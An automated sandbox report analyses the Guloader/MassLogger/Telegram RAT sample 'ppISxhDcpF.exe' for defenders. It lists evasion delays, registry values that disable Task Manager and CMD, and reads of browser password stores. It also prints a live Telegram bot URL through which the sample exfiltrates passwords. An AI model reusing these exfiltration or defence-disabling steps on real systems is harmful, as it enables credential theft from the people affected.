Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 597547	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 597438	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 597313	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 597188	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 597078	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 596969	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 596844	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 596734	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 596625	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 596516	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 596406	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 596296	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 596188	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 596063	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 595953	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 595844	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 595719	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 595609	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 595500	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 595390	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 595281	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 595172	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 595062	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 594953	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 594844	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 594719	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 594609	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 594500	Jump to behavior

Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Window / User API: threadDelayed 1683			Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Window / User API: threadDelayed 8167			Jump to behavior

Source: C:\Users\user\Desktop\ppISxhDcpF.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nscAF7B.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\ppISxhDcpF.exe

API coverage: 3.7 %

Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -24903104499507879s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 5844	Thread sleep count: 1683 > 30	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -599891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 5844	Thread sleep count: 8167 > 30	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -599672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -599453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -599344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -599219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -599109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -599000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -598891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -598781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -598672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -598561s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -598453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -598344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -598234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -598125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -598016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -597891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -597766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -597656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -597547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -597438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -597313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -597188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -597078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -596969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -596844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -596734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -596625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -596516s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -596406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -596296s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -596188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -596063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -595953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -595844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -595719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -595609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -595500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -595390s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -595281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -595172s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -595062s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -594953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -594844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -594719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -594609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe TID: 3212	Thread sleep time: -594500s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 0_2_00405846 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,LdrInitializeThunk,FindNextFileW,FindClose,	0_2_00405846
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 0_2_004027FB FindFirstFileW,	0_2_004027FB
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 0_2_00406398 FindFirstFileW,FindClose,	0_2_00406398
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_00405846 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,LdrInitializeThunk,FindNextFileW,FindClose,	5_2_00405846
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_004027FB FindFirstFileW,	5_2_004027FB
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_00406398 FindFirstFileW,FindClose,	5_2_00406398

Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 599344	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 598891	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 598561	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 598016	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 597891	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 597766	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 597656	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 597547	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 597438	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 597313	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 597188	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 597078	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 596969	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 596844	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 596734	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 596625	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 596516	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 596406	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 596296	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 596188	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 596063	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 595953	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 595844	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 595719	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 595609	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 595500	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 595390	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 595281	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 595172	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 595062	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 594953	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 594844	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 594719	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 594609	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 594500	Jump to behavior

Source: ppISxhDcpF.exe, 00000005.00000002.2713551254.00000000050F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: ppISxhDcpF.exe, 00000005.00000002.2713551254.0000000005098000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8e

Source: C:\Users\user\Desktop\ppISxhDcpF.exe	API call chain: ExitProcess graph end node			graph_0-3749
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	API call chain: ExitProcess graph end node			graph_0-3931

Source: C:\Users\user\Desktop\ppISxhDcpF.exe

Code function: 0_2_00403C41 SetWindowPos,ShowWindow,DestroyWindow,SetWindowLongW,GetDlgItem,SendMessageW,IsWindowEnabled,LdrInitializeThunk,SendMessageW,GetDlgItem,GetDlgItem,GetDlgItem,LdrInitializeThunk,SetClassLongW,LdrInitializeThunk,SendMessageW,GetDlgItem,ShowWindow,KiUserCallbackDispatcher,EnableWindow,GetSystemMenu,EnableMenuItem,SendMessageW,LdrInitializeThunk,SendMessageW,SendMessageW,lstrlenW,SetWindowTextW,DestroyWindow,CreateDialogParamW,GetDlgItem,GetWindowRect,ScreenToClient,SetWindowPos,LdrInitializeThunk,ShowWindow,DestroyWindow,EndDialog,ShowWindow,

0_2_00403C41

Source: C:\Users\user\Desktop\ppISxhDcpF.exe

0_2_10001B18

Source: C:\Users\user\Desktop\ppISxhDcpF.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\ppISxhDcpF.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\ppISxhDcpF.exe

Process created: C:\Users\user\Desktop\ppISxhDcpF.exe "C:\Users\user\Desktop\ppISxhDcpF.exe"

Jump to behavior

Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Queries volume information: C:\Users\user\Desktop\ppISxhDcpF.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\ppISxhDcpF.exe

Code function: 0_2_00406077 GetVersion,LdrInitializeThunk,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406077

Source: C:\Users\user\Desktop\ppISxhDcpF.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Task Manager(disabletaskmgr)

Source: C:\Users\user\Desktop\ppISxhDcpF.exe

Registry value created: DisableTaskMgr 1

Jump to behavior

Disables CMD prompt

Source: C:\Users\user\Desktop\ppISxhDcpF.exe

Registry value created: DisableCMD 1

Jump to behavior

Disables the Windows task manager (taskmgr)

Source: C:\Users\user\Desktop\ppISxhDcpF.exe

Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System DisableTaskMgr

Jump to behavior

Stealing of Sensitive Information

Yara detected MassLogger RAT

Source: Yara match	File source: 00000005.00000002.2734788636.000000003582B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ppISxhDcpF.exe PID: 4932, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000005.00000002.2734788636.000000003582B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ppISxhDcpF.exe PID: 4932, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\ppISxhDcpF.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\ppISxhDcpF.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Yara match	File source: 00000005.00000002.2734788636.000000003582B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ppISxhDcpF.exe PID: 4932, type: MEMORYSTR

Remote Access Functionality

Yara detected MassLogger RAT

Source: Yara match	File source: 00000005.00000002.2734788636.000000003582B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ppISxhDcpF.exe PID: 4932, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000005.00000002.2734788636.000000003582B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ppISxhDcpF.exe PID: 4932, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	1 Masquerading	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	31 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	1 Data from Local System	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Access Token Manipulation	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Deobfuscate/Decode Files or Information	Cached Domain Credentials	215 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	3 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
ppISxhDcpF.exe	58%	ReversingLabs	Win32.Trojan.Guloader

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nscAF7B.tmp\System.dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://drive.google.coml	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
drive.google.com	172.217.23.110	true	false	high
drive.usercontent.google.com	142.250.181.225	true	false	high
reallyfreegeoip.org	104.21.96.1	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	132.226.8.169	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://checkip.dyndns.org/	false	high
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.google.com	ppISxhDcpF.exe, 00000005.00000003.2110466882.0000000005109000.00000004.00000020.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000003.2111342336.0000000005109000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.org	ppISxhDcpF.exe, 00000005.00000002.2734788636.0000000035934000.00000004.00000800.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000002.2734788636.0000000035A55000.00000004.00000800.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000002.2734788636.000000003582B000.00000004.00000800.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000002.2734788636.00000000358DF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	ppISxhDcpF.exe, 00000005.00000002.2734788636.000000003582B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382	ppISxhDcpF.exe, 00000005.00000002.2734788636.00000000358DF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://translate.google.com/translate_a/element.js	ppISxhDcpF.exe, 00000005.00000003.2110466882.0000000005109000.00000004.00000020.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000003.2111342336.0000000005109000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/E	ppISxhDcpF.exe, 00000005.00000003.2153544676.0000000005101000.00000004.00000020.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000002.2713551254.00000000050F0000.00000004.00000020.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000003.2153669681.0000000005106000.00000004.00000020.00020000.00000000.sdmp	false		high
http://reallyfreegeoip.org	ppISxhDcpF.exe, 00000005.00000002.2734788636.0000000035768000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org	ppISxhDcpF.exe, 00000005.00000002.2734788636.0000000035750000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org/0(	ppISxhDcpF.exe, 00000005.00000002.2736621144.0000000037F9A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/	ppISxhDcpF.exe, 00000005.00000003.2153544676.0000000005101000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/:	ppISxhDcpF.exe, 00000005.00000003.2153544676.0000000005101000.00000004.00000020.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000002.2713551254.00000000050F0000.00000004.00000020.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000003.2153669681.0000000005106000.00000004.00000020.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org	ppISxhDcpF.exe, 00000005.00000002.2734788636.00000000358DF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.google.com/k	ppISxhDcpF.exe, 00000005.00000002.2713551254.0000000005098000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.google.coml	ppISxhDcpF.exe, 00000005.00000003.2153544676.0000000005101000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://apis.google.com	ppISxhDcpF.exe, 00000005.00000003.2110466882.0000000005109000.00000004.00000020.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000003.2111342336.0000000005109000.00000004.00000020.00020000.00000000.sdmp	false		high
